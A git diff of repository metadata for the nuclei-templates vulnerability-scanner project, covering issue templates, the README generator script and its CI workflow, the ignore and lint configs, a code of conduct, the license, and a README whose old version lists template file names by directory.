misc fixes

Auto Update README [Sun Mar 21 16:18:49 UTC 2021] 🤖
Update CVE-2021-22986.yml
2026-11-07 08:36:19 -10:00 · 2021-03-22 01:19:30 +05:30 · 2021-03-21 16:18:49 +00:00 · 2021-03-21 21:48:27 +05:30 · 2021-03-21 20:08:00 +04:00 · 2021-03-21 15:35:02 +00:00
833 changed files with 13484 additions and 60131 deletions
@@ -1,8 +1,8 @@
 ---
 name: False Positive
 about: 'Create an issue if you found false positive results. '
-title: "[false-positive] "
-labels: ''
+title: "[false-positive] template-name "
+labels: 'false-positive'
 assignees: ''

 ---
@@ -1,14 +1,15 @@
 ---
 name: Submit Template
 about: Submit nuclei template using issue
-title: "[nuclei-template] "
-labels: ''
+title: "[nuclei-template] template-name"
+labels: 'nuclei-template'
 assignees: ''

 ---

 **Template Details**

-```
+```yaml
+
 nuclei template goes here
 ```
@@ -1,49 +1,82 @@
 f"""
-# Nuclei Templates

-[![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
-[![GitHub Release](https://img.shields.io/github/release/projectdiscovery/nuclei-templates)](https://github.com/projectdiscovery/nuclei-templates/releases)
-[![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/projectdiscovery/nuclei-templates/issues)
-[![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
-[![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)
+<h1 align="center">
+Nuclei Templates
+</h1>
+<h4 align="center">Community curated list of templates for the nuclei engine to find a security vulnerability in application.</h4>
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+      
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
+  <a href="#-contributions">Contributions</a> •
+  <a href="#-discussion">Discussion</a> •
+  <a href="#-community">Community</a> •
+  <a href="https://discord.gg/KECAGdH">Join Discord</a>
+</p>
+
+----

 Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.

-An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 

-### Nuclei templates `{version}` overview
-
-| Templates | Counts | Templates | Counts |
-|----|----|----|----|
-| cves | {countTpl("cves")} | files | {countTpl("files")} |
-| vulnerabilities | {countTpl("vulnerabilities")} | panels | {countTpl("panels")} |
-| technologies | {countTpl("technologies")} | security-misconfiguration | {countTpl("security-misconfiguration")} |
-| workflows | {countTpl("workflows")} | tokens | {countTpl("tokens")} |
-| dns | {countTpl("dns")} | fuzzing | {countTpl("fuzzing")} |
-| generic-detections | {countTpl("generic-detections")} | default-credentials | {countTpl("default-credentials")} |
-| subdomain-takeover | {countTpl("subdomain-takeover")} | payloads | {countTpl("payloads")} |
-| wordlists | {countTpl("wordlists")} | misc | {countTpl("misc")} |
+## Nuclei Templates overview


-### Nuclei templates `{version}` tree overview
+An overview of the nuclei template directory including number of templates associated with each directory. 

-<details>
-<summary> Nuclei templates </summary>
+<table>
+<tr>
+<td> 

-```
-{command("tree", 1, -2)}
-```
-
-</details>
+| Templates        | Counts                         | Templates       | Counts                          | Templates      | Counts                       |
+| ---------------- | ------------------------------ | --------------- | ------------------------------- | -------------- | ---------------------------- |
+| cves             | {countTpl("cves/*")}           | vulnerabilities | {countTpl("vulnerabilities/*")} | exposed-panels | {countTpl("exposed-panels")} |
+| takeovers        | {countTpl("takeovers")}        | exposures       | {countTpl("exposures/*")}       | technologies   | {countTpl("technologies")}   |
+| misconfiguration | {countTpl("misconfiguration")} | workflows       | {countTpl("workflows")}         | miscellaneous  | {countTpl("miscellaneous")}  |
+| default-logins   | {countTpl("default-logins/*")} | exposed-tokens  | {countTpl("exposed-tokens/*")}  | dns            | {countTpl("dns")}            |
+| fuzzing          | {countTpl("fuzzing")}          | helpers         | {countTpl("helpers/*")}         | iot            | {countTpl("iot")}            |

 **{command("tree", -2, None)}**.

-Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
+</td>
+</tr>
+</table>
+
+
+
+
+
+📖 Documentation
+-----
+
+Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new and your **own custom** templates, we have also added many example templates for easy understanding.
+
+💪 Contributions
+-----
+
+Nuclei-templates is powered by major contributions from the community. [Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
+
+💬 Discussion
+-----
+
+Have questions / doubts / ideas to discuss? feel free to open a discussion using [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
+
+👨‍💻 Community
+-----
+
+You are welcomed to join our [Discord Community](https://discord.gg/KECAGdH). You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
+
+💡 Notes
+-----
+-  Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/) to validate the syntax of templates before sending pull requests.

------
-**Notes:** 
-1. Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/)) to validate new templates when sending pull requests.
-2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.

 Thanks again for your contribution and keeping the community vibrant. :heart:
 """
@@ -1,9 +1,9 @@
 #!/usr/bin/env python3
-import os
+import glob
 import subprocess

 def countTpl(path):
-	return len(os.listdir(path))
+	return len(glob.glob(path + "/*.*"))

 def command(args, start=None, end=None):
 	return "\n".join(subprocess.run(args, text=True, capture_output=True).stdout.split("\n")[start:end])[:-1]
@@ -11,7 +11,7 @@ on:
 jobs:
  build:
    runs-on: ubuntu-latest
-    if: github.repository == 'projectdiscovery/nuclei-templates'
+    if: github.repository == 'projectdiscovery/nuclei-templates' && github.ref == 'refs/heads/master'
    steps:
      - name: Install tree
        run: sudo apt-get install tree -y
@@ -28,16 +28,20 @@ jobs:
          python-version: "3.8"

      - name: Update README
+        id: update-readme
        run: |
          python .github/scripts/update-readme.py
+          echo "::set-output name=changes::$(git status -s | wc -l)"

      - name: Commit files
+        if: steps.update-readme.outputs.changes > 0
        run: |
          git config --local user.email "[email protected]"
          git config --local user.name "GitHub Action"
          git commit -m "Auto Update README [$(date)] :robot:" -a

      - name: Push changes
+        if: steps.update-readme.outputs.changes > 0
        uses: ad-m/github-push-action@master
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}
@@ -12,18 +12,14 @@
 # More details - https://github.com/projectdiscovery/nuclei#using-nuclei-ignore-file-for-template-exclusion

 .pre-commit-config.yaml
-cves/CVE-2017-7529.yaml
-cves/CVE-2020-13379.yaml
-cves/CVE-2013-2251.yaml
-cves/CVE-2020-16139.yaml
-vulnerabilities/x-forwarded-host-injection.yaml

 # Fuzzing is excluded to avoid running bruteforce on every server as default.
 fuzzing/

 # Wordlist directory contains payload to be used with templates. 
-wordlists/
-misc/
-
+helpers/
+miscellaneous/
+headless/
 # Workflows are excluded from default run to avoid duplicate scans.
-workflows/
+workflows/
+iot/
@@ -1,9 +1,17 @@
 ---
 extends: default

+ignore: |
+  .pre-commit-config.yaml
+  .github/workflows/*.yml
+
 rules:
  document-start: disable
  line-length: disable
  new-lines: disable
  new-line-at-end-of-file: disable
  truthy: disable
+  comments:
+    require-starting-space: true
+    ignore-shebangs: true
+    min-spaces-from-content: 1
@@ -0,0 +1,76 @@
+# Contributor Covenant Code of Conduct
+
+## Our Pledge
+
+In the interest of fostering an open and welcoming environment, we as
+contributors and maintainers pledge to making participation in our project and
+our community a harassment-free experience for everyone, regardless of age, body
+size, disability, ethnicity, sex characteristics, gender identity and expression,
+level of experience, education, socio-economic status, nationality, personal
+appearance, race, religion, or sexual identity and orientation.
+
+## Our Standards
+
+Examples of behavior that contributes to creating a positive environment
+include:
+
+* Using welcoming and inclusive language
+* Being respectful of differing viewpoints and experiences
+* Gracefully accepting constructive criticism
+* Focusing on what is best for the community
+* Showing empathy towards other community members
+
+Examples of unacceptable behavior by participants include:
+
+* The use of sexualized language or imagery and unwelcome sexual attention or
+ advances
+* Trolling, insulting/derogatory comments, and personal or political attacks
+* Public or private harassment
+* Publishing others' private information, such as a physical or electronic
+ address, without explicit permission
+* Other conduct which could reasonably be considered inappropriate in a
+ professional setting
+
+## Our Responsibilities
+
+Project maintainers are responsible for clarifying the standards of acceptable
+behavior and are expected to take appropriate and fair corrective action in
+response to any instances of unacceptable behavior.
+
+Project maintainers have the right and responsibility to remove, edit, or
+reject comments, commits, code, wiki edits, issues, and other contributions
+that are not aligned to this Code of Conduct, or to ban temporarily or
+permanently any contributor for other behaviors that they deem inappropriate,
+threatening, offensive, or harmful.
+
+## Scope
+
+This Code of Conduct applies both within project spaces and in public spaces
+when an individual is representing the project or its community. Examples of
+representing a project or community include using an official project e-mail
+address, posting via an official social media account, or acting as an appointed
+representative at an online or offline event. Representation of a project may be
+further defined and clarified by project maintainers.
+
+## Enforcement
+
+Instances of abusive, harassing, or otherwise unacceptable behavior may be
+reported by contacting the project team at contact@projectdiscovery.io. All
+complaints will be reviewed and investigated and will result in a response that
+is deemed necessary and appropriate to the circumstances. The project team is
+obligated to maintain confidentiality with regard to the reporter of an incident.
+Further details of specific enforcement policies may be posted separately.
+
+Project maintainers who do not follow or enforce the Code of Conduct in good
+faith may face temporary or permanent repercussions as determined by other
+members of the project's leadership.
+
+## Attribution
+
+This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
+available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html
+
+[homepage]: https://www.contributor-covenant.org
+
+For answers to common questions about this code of conduct, see
+https://www.contributor-covenant.org/faq
@@ -1,6 +1,6 @@
 MIT License

-Copyright (c) 2020 Exposed Atoms.
+Copyright (c) 2020 ProjectDiscovery, Inc.

 Permission is hereby granted, free of charge, to any person obtaining a copy
 of this software and associated documentation files (the "Software"), to deal
@@ -1,471 +1,81 @@

-# Nuclei Templates

-[![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
-[![GitHub Release](https://img.shields.io/github/release/projectdiscovery/nuclei-templates)](https://github.com/projectdiscovery/nuclei-templates/releases)
-[![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/projectdiscovery/nuclei-templates/issues)
-[![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
-[![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)
+<h1 align="center">
+Nuclei Templates
+</h1>
+<h4 align="center">Community curated list of templates for the nuclei engine to find a security vulnerability in application.</h4>
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+      
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
+  <a href="#-contributions">Contributions</a> •
+  <a href="#-discussion">Discussion</a> •
+  <a href="#-community">Community</a> •
+  <a href="https://discord.gg/KECAGdH">Join Discord</a>
+</p>
+
+----

 Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.

-An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 

-### Nuclei templates `v7.3.3` overview
-
-| Templates | Counts | Templates | Counts |
-|----|----|----|----|
-| cves | 143 | files | 45 |
-| vulnerabilities | 43 | panels | 49 |
-| technologies | 40 | security-misconfiguration | 24 |
-| workflows | 17 | tokens | 8 |
-| dns | 6 | fuzzing | 6 |
-| generic-detections | 3 | default-credentials | 4 |
-| subdomain-takeover | 2 | payloads | 2 |
-| wordlists | 1 | misc | 13 |
+## Nuclei Templates overview


-### Nuclei templates `v7.3.3` tree overview
+An overview of the nuclei template directory including number of templates associated with each directory. 

-<details>
-<summary> Nuclei templates </summary>
+<table>
+<tr>
+<td> 

-```
-├── LICENSE.md
-├── README.md
-├── cves
-│   ├── CVE-2005-2428.yaml
-│   ├── CVE-2008-2398.yaml
-│   ├── CVE-2013-2251.yaml
-│   ├── CVE-2014-6271.yaml
-│   ├── CVE-2017-10075.yaml
-│   ├── CVE-2017-11444.yaml
-│   ├── CVE-2017-12637.yaml
-│   ├── CVE-2017-14537.yaml
-│   ├── CVE-2017-14849.yaml
-│   ├── CVE-2017-5638.yaml
-│   ├── CVE-2017-7391.yaml
-│   ├── CVE-2017-7615.yaml
-│   ├── CVE-2017-9506.yaml
-│   ├── CVE-2017-9841.yaml
-│   ├── CVE-2018-0296.yaml
-│   ├── CVE-2018-1000129.yaml
-│   ├── CVE-2018-11409.yaml
-│   ├── CVE-2018-11759.yaml
-│   ├── CVE-2018-1247.yaml
-│   ├── CVE-2018-1271.yaml
-│   ├── CVE-2018-1273.yaml
-│   ├── CVE-2018-13379.yaml
-│   ├── CVE-2018-13380.yaml
-│   ├── CVE-2018-14728.yaml
-│   ├── CVE-2018-16341.yaml
-│   ├── CVE-2018-16763.yaml
-│   ├── CVE-2018-17431.yaml
-│   ├── CVE-2018-18069.yaml
-│   ├── CVE-2018-19386.yaml
-│   ├── CVE-2018-19439.yaml
-│   ├── CVE-2018-20824.yaml
-│   ├── CVE-2018-2791.yaml
-│   ├── CVE-2018-3714.yaml
-│   ├── CVE-2018-3760.yaml
-│   ├── CVE-2018-5230.yaml
-│   ├── CVE-2018-7490.yaml
-│   ├── CVE-2019-1010287.yaml
-│   ├── CVE-2019-10475.yaml
-│   ├── CVE-2019-11248.yaml
-│   ├── CVE-2019-11510.yaml
-│   ├── CVE-2019-11580.yaml
-│   ├── CVE-2019-11581.yaml
-│   ├── CVE-2019-12314.yaml
-│   ├── CVE-2019-12461.yaml
-│   ├── CVE-2019-12593.yaml
-│   ├── CVE-2019-12725.yaml
-│   ├── CVE-2019-14322.yaml
-│   ├── CVE-2019-14696.yaml
-│   ├── CVE-2019-14974.yaml
-│   ├── CVE-2019-15043.yaml
-│   ├── CVE-2019-15107.yaml
-│   ├── CVE-2019-15858.yaml
-│   ├── CVE-2019-16278.yaml
-│   ├── CVE-2019-1653.yaml
-│   ├── CVE-2019-16662.yaml
-│   ├── CVE-2019-16759-1.yaml
-│   ├── CVE-2019-16759.yaml
-│   ├── CVE-2019-16920.yaml
-│   ├── CVE-2019-17382.yaml
-│   ├── CVE-2019-17558.yaml
-│   ├── CVE-2019-18394.yaml
-│   ├── CVE-2019-19368.yaml
-│   ├── CVE-2019-19781.yaml
-│   ├── CVE-2019-19908.yaml
-│   ├── CVE-2019-19985.yaml
-│   ├── CVE-2019-20141.yaml
-│   ├── CVE-2019-2588.yaml
-│   ├── CVE-2019-2725.yaml
-│   ├── CVE-2019-3396.yaml
-│   ├── CVE-2019-3402.yaml
-│   ├── CVE-2019-3799.yaml
-│   ├── CVE-2019-5418.yaml
-│   ├── CVE-2019-6112.yaml
-│   ├── CVE-2019-6340.yaml
-│   ├── CVE-2019-6715.yaml
-│   ├── CVE-2019-7256.yaml
-│   ├── CVE-2019-7609.yaml
-│   ├── CVE-2019-8442.yaml
-│   ├── CVE-2019-8449.yaml
-│   ├── CVE-2019-8451.yaml
-│   ├── CVE-2019-8903.yaml
-│   ├── CVE-2019-8982.yaml
-│   ├── CVE-2019-9670.yaml
-│   ├── CVE-2019-9733.yaml
-│   ├── CVE-2019-9978.yaml
-│   ├── CVE-2020-0618.yaml
-│   ├── CVE-2020-10199.yaml
-│   ├── CVE-2020-10204.yaml
-│   ├── CVE-2020-11034.yaml
-│   ├── CVE-2020-1147.yaml
-│   ├── CVE-2020-11738.yaml
-│   ├── CVE-2020-12116.yaml
-│   ├── CVE-2020-12720.yaml
-│   ├── CVE-2020-13167.yaml
-│   ├── CVE-2020-13942.yaml
-│   ├── CVE-2020-14179.yaml
-│   ├── CVE-2020-14181.yaml
-│   ├── CVE-2020-14864.yaml
-│   ├── CVE-2020-14882.yaml
-│   ├── CVE-2020-15129.yaml
-│   ├── CVE-2020-15505.yaml
-│   ├── CVE-2020-15920.yaml
-│   ├── CVE-2020-16139.yaml
-│   ├── CVE-2020-16846.yaml
-│   ├── CVE-2020-16952.yaml
-│   ├── CVE-2020-17505.yaml
-│   ├── CVE-2020-17506.yaml
-│   ├── CVE-2020-2096.yaml
-│   ├── CVE-2020-2140.yaml
-│   ├── CVE-2020-23972.yaml
-│   ├── CVE-2020-24223.yaml
-│   ├── CVE-2020-24312.yaml
-│   ├── CVE-2020-2551.yaml
-│   ├── CVE-2020-25540.yaml
-│   ├── CVE-2020-26214.yaml
-│   ├── CVE-2020-3187.yaml
-│   ├── CVE-2020-3452.yaml
-│   ├── CVE-2020-4463.yaml
-│   ├── CVE-2020-5284.yaml
-│   ├── CVE-2020-5405.yaml
-│   ├── CVE-2020-5410.yaml
-│   ├── CVE-2020-5412.yaml
-│   ├── CVE-2020-5776.yaml
-│   ├── CVE-2020-5777.yaml
-│   ├── CVE-2020-5902.yaml
-│   ├── CVE-2020-6287.yaml
-│   ├── CVE-2020-7209.yaml
-│   ├── CVE-2020-7318.yaml
-│   ├── CVE-2020-7961.yaml
-│   ├── CVE-2020-8091.yaml
-│   ├── CVE-2020-8115.yaml
-│   ├── CVE-2020-8163.yaml
-│   ├── CVE-2020-8191.yaml
-│   ├── CVE-2020-8193.yaml
-│   ├── CVE-2020-8194.yaml
-│   ├── CVE-2020-8209.yaml
-│   ├── CVE-2020-8512.yaml
-│   ├── CVE-2020-8982.yaml
-│   ├── CVE-2020-9047.yaml
-│   ├── CVE-2020-9344.yaml
-│   ├── CVE-2020-9484.yaml
-│   ├── CVE-2020-9496.yaml
-│   └── CVE-2020-9757.yaml
-├── default-credentials
-│   ├── grafana-default-credential.yaml
-│   ├── rabbitmq-default-admin.yaml
-│   ├── solarwinds-default-admin.yaml
-│   └── tomcat-manager-default.yaml
-├── dns
-│   ├── azure-takeover-detection.yaml
-│   ├── cname-service-detector.yaml
-│   ├── dead-host-with-cname.yaml
-│   ├── mx-service-detector.yaml
-│   ├── servfail-refused-hosts.yaml
-│   └── spoofable-spf-records-ptr.yaml
-├── files
-│   ├── apc-info.yaml
-│   ├── cgi-test-page.yaml
-│   ├── docker-registry.yaml
-│   ├── domcfg-page.yaml
-│   ├── druid-monitor.yaml
-│   ├── drupal-install.yaml
-│   ├── ds_store.yaml
-│   ├── elasticsearch.yaml
-│   ├── elmah-log-file.yaml
-│   ├── error-logs.yaml
-│   ├── exposed-kibana.yaml
-│   ├── exposed-svn.yaml
-│   ├── filezilla.yaml
-│   ├── firebase-detect.yaml
-│   ├── git-config.yaml
-│   ├── graylog-api-browser.yaml
-│   ├── htpasswd-detection.yaml
-│   ├── jkstatus-manager.yaml
-│   ├── jolokia.yaml
-│   ├── laravel-env.yaml
-│   ├── lazy-file.yaml
-│   ├── magento-config.yaml
-│   ├── php-errors.yaml
-│   ├── phpinfo.yaml
-│   ├── public-tomcat-instance.yaml
-│   ├── redmine-db-config.yaml
-│   ├── server-private-keys.yaml
-│   ├── server-status-localhost.yaml
-│   ├── shell-history.yaml
-│   ├── sql-dump.yaml
-│   ├── telerik-dialoghandler-detect.yaml
-│   ├── telerik-fileupload-detect.yaml
-│   ├── tomcat-scripts.yaml
-│   ├── wadl-files.yaml
-│   ├── web-config.yaml
-│   ├── wordpress-db-backup.yaml
-│   ├── wordpress-debug-log.yaml
-│   ├── wordpress-directory-listing.yaml
-│   ├── wordpress-emergency-script.yaml
-│   ├── wordpress-installer-log.yaml
-│   ├── wordpress-tmm-db-migrate.yaml
-│   ├── wordpress-user-enumeration.yaml
-│   ├── wsdl-detect.yaml
-│   ├── xprober-service.yaml
-│   └── zip-backup-files.yaml
-├── fuzzing
-│   ├── arbitrary-file-read.yaml
-│   ├── basic-auth-bruteforce.yaml
-│   ├── directory-traversal.yaml
-│   ├── generic-lfi-fuzzing.yaml
-│   ├── iis-shortname.yaml
-│   └── wp-plugin-scan.yaml
-├── generic-detections
-│   ├── basic-xss-prober.yaml
-│   ├── general-tokens.yaml
-│   └── top-15-xss.yaml
-├── misc
-│   ├── basic-cors-flash.yaml
-│   ├── dir-listing.yaml
-│   ├── htaccess-config.yaml
-│   ├── missing-csp.yaml
-│   ├── missing-hsts.yaml
-│   ├── missing-x-frame-options.yaml
-│   ├── ntlm-directories.yaml
-│   ├── robots.txt.yaml
-│   ├── security.txt.yaml
-│   ├── trace-method.yaml
-│   ├── unencrypted-bigip-ltm-cookie.yaml
-│   ├── wp-xmlrpc.yaml
-│   └── xml-schema-detect.yaml
-├── panels
-│   ├── adminer-panel.yaml
-│   ├── aims-password-mgmt-client.yaml
-│   ├── atlassian-crowd-panel.yaml
-│   ├── cisco-asa-panel.yaml
-│   ├── citrix-adc-gateway-detect.yaml
-│   ├── citrix-vpn-detect.yaml
-│   ├── compal.yaml
-│   ├── crxde.yaml
-│   ├── docker-api.yaml
-│   ├── fortinet-fortigate-panel.yaml
-│   ├── github-enterprise-detect.yaml
-│   ├── gitlab-detect.yaml
-│   ├── globalprotect-panel.yaml
-│   ├── go-anywhere-client.yaml
-│   ├── grafana-detect.yaml
-│   ├── identityguard-selfservice-entrust.yaml
-│   ├── iomega-lenovo-emc-shared-nas-detect.yaml
-│   ├── jenkins-asyncpeople.yaml
-│   ├── jmx-console.yaml
-│   ├── kubernetes-pods.yaml
-│   ├── manage-engine-admanager-panel.yaml
-│   ├── mobileiron-login.yaml
-│   ├── netscaler-gateway.yaml
-│   ├── network-camera-detect.yaml
-│   ├── oipm-detect.yaml
-│   ├── parallels-html-client.yaml
-│   ├── phpmyadmin-panel.yaml
-│   ├── polycom-admin-detect.yaml
-│   ├── pulse-secure-panel.yaml
-│   ├── rabbitmq-dashboard.yaml
-│   ├── rsa-self-service.yaml
-│   ├── sap-hana-xsengine-panel.yaml
-│   ├── sap-netweaver-detect.yaml
-│   ├── sap-recon-detect.yaml
-│   ├── solarwinds-orion.yaml
-│   ├── sonarqube-login.yaml
-│   ├── sonicwall-management-panel.yaml
-│   ├── sonicwall-sslvpn-panel.yaml
-│   ├── sophos-fw-version-detect.yaml
-│   ├── supervpn-panel.yaml
-│   ├── swagger-panel.yaml
-│   ├── tikiwiki-cms.yaml
-│   ├── traefik-dashboard.yaml
-│   ├── virtual-ema-detect.yaml
-│   ├── weave-scope-dashboard-detect.yaml
-│   ├── webeditors.yaml
-│   ├── webmin-panel.yaml
-│   ├── workspace-one-uem.yaml
-│   └── workspaceone-uem-airwatch-dashboard-detect.yaml
-├── payloads
-│   ├── CVE-2020-5776.csv
-│   └── CVE-2020-6287.xml
-├── security-misconfiguration
-│   ├── apache-tomcat-snoop.yaml
-│   ├── basic-cors.yaml
-│   ├── django-debug-detect.yaml
-│   ├── drupal-user-enum-ajax.yaml
-│   ├── drupal-user-enum-redirect.yaml
-│   ├── front-page-misconfig.yaml
-│   ├── jira-service-desk-signup.yaml
-│   ├── jira-unauthenticated-dashboards.yaml
-│   ├── jira-unauthenticated-popular-filters.yaml
-│   ├── jira-unauthenticated-projects.yaml
-│   ├── jira-unauthenticated-user-picker.yaml
-│   ├── jupyter-ipython-unauth.yaml
-│   ├── larvel-debug.yaml
-│   ├── manage-engine-ad-search.yaml
-│   ├── put-method-enabled.yaml
-│   ├── rack-mini-profiler.yaml
-│   ├── salesforce-aura-misconfig.yaml
-│   ├── sidekiq-dashboard.yaml
-│   ├── springboot-detect.yaml
-│   ├── unauthenticated-airflow.yaml
-│   ├── unauthenticated-jenkin-dashboard.yaml
-│   ├── wamp-xdebug-detect.yaml
-│   ├── wordpress-accessible-wpconfig.yaml
-│   └── zenphoto-installation-sensitive-info.yaml
-├── subdomain-takeover
-│   ├── detect-all-takeovers.yaml
-│   └── s3-subtakeover.yaml
-├── technologies
-│   ├── apache-detect.yaml
-│   ├── artica-web-proxy-detect.yaml
-│   ├── basic-auth-detection.yaml
-│   ├── bigip-config-utility-detect.yaml
-│   ├── cacti-detect.yaml
-│   ├── clockwork-php-page.yaml
-│   ├── couchdb-detect.yaml
-│   ├── favicon-detection.yaml
-│   ├── google-storage.yaml
-│   ├── graphql.yaml
-│   ├── home-assistant.yaml
-│   ├── jaspersoft-detect.yaml
-│   ├── jira-detect.yaml
-│   ├── kibana-detect.yaml
-│   ├── kong-detect.yaml
-│   ├── liferay-portal-detect.yaml
-│   ├── linkerd-badrule-detect.yaml
-│   ├── linkerd-ssrf-detect.yaml
-│   ├── lotus-domino-version.yaml
-│   ├── magmi-detect.yaml
-│   ├── mrtg-detect.yaml
-│   ├── netsweeper-webadmin-detect.yaml
-│   ├── nifi-detech.yaml
-│   ├── oidc-detect.yaml
-│   ├── pi-hole-detect.yaml
-│   ├── prometheus-exporter-detect.yaml
-│   ├── prometheus-exposed-panel.yaml
-│   ├── prtg-detect.yaml
-│   ├── redmine-cli-detect.yaml
-│   ├── s3-detect.yaml
-│   ├── sap-netweaver-as-java-detect.yaml
-│   ├── sap-netweaver-detect.yaml
-│   ├── shiro-detect.yaml
-│   ├── sql-server-reporting.yaml
-│   ├── tech-detect.yaml
-│   ├── terraform-detect.yaml
-│   ├── tomcat-detect.yaml
-│   ├── waf-detect.yaml
-│   ├── weblogic-detect.yaml
-│   └── werkzeug-debugger-detect.yaml
-├── tokens
-│   ├── amazon-mws-auth-token-value.yaml
-│   ├── aws-access-key-value.yaml
-│   ├── credentials-disclosure.yaml
-│   ├── fcm-server-key.yaml
-│   ├── google-api-key.yaml
-│   ├── http-username-password.yaml
-│   ├── mailchimp-api-key.yaml
-│   └── slack-access-token.yaml
-├── vulnerabilities
-│   ├── bullwark-momentum-series-directory-traversal.yaml
-│   ├── cached-aem-pages.yaml
-│   ├── couchdb-adminparty.yaml
-│   ├── crlf-injection.yaml
-│   ├── discourse-xss.yaml
-│   ├── easy-wp-smtp-listing.yaml
-│   ├── eclipse-help-system-xss.yaml
-│   ├── git-config-nginxoffbyslash.yaml
-│   ├── ibm-infoprint-directory-traversal.yaml
-│   ├── mcafee-epo-rce.yaml
-│   ├── microstrategy-ssrf.yaml
-│   ├── mida-eframework-xss.yaml
-│   ├── moodle-filter-jmol-lfi.yaml
-│   ├── moodle-filter-jmol-xss.yaml
-│   ├── nginx-module-vts-xss.yaml
-│   ├── nuuo-nvrmini2-rce.yaml
-│   ├── open-redirect.yaml
-│   ├── oracle-ebs-bispgraph-file-access.yaml
-│   ├── pdf-signer-ssti-to-rce.yaml
-│   ├── rails6-xss.yaml
-│   ├── rce-shellshock-user-agent.yaml
-│   ├── rce-via-java-deserialization.yaml
-│   ├── rconfig-rce.yaml
-│   ├── sassy-social-share.yaml
-│   ├── sick-beard-xss.yaml
-│   ├── springboot-actuators-jolokia-xxe.yaml
-│   ├── springboot-h2-db-rce.yaml
-│   ├── symantec-messaging-gateway.yaml
-│   ├── symfony-debugmode.yaml
-│   ├── tikiwiki-reflected-xss.yaml
-│   ├── tomcat-manager-pathnormalization.yaml
-│   ├── twig-php-ssti.yaml
-│   ├── vmware-vcenter-lfi-linux.yaml
-│   ├── vmware-vcenter-lfi.yaml
-│   ├── vpms-auth-bypass.yaml
-│   ├── w3c-total-cache-ssrf.yaml
-│   ├── wems-manager-xss.yaml
-│   ├── wordpress-duplicator-path-traversal.yaml
-│   ├── wordpress-emails-verification-for-woocommerce.yaml
-│   ├── wordpress-social-metrics-tracker.yaml
-│   ├── wordpress-wordfence-xss.yaml
-│   ├── wordpress-wpcourses-info-disclosure.yaml
-│   └── zms-auth-bypass.yaml
-├── wordlists
-│   └── wp-plugins.txt
-└── workflows
-    ├── artica-web-proxy-workflow.yaml
-    ├── basic-auth-workflow.yaml
-    ├── bigip-workflow.yaml
-    ├── cisco-asa-workflow.yaml
-    ├── grafana-workflow.yaml
-    ├── jira-workflow.yaml
-    ├── liferay-workflow.yaml
-    ├── lotus-domino-workflow.yaml
-    ├── magmi-workflow.yaml
-    ├── mida-eframework-workflow.yaml
-    ├── netsweeper-workflow.yaml
-    ├── rabbitmq-workflow.yaml
-    ├── sap-netweaver-workflow.yaml
-    ├── solarwinds-orion-workflow.yaml
-    ├── springboot-workflow.yaml
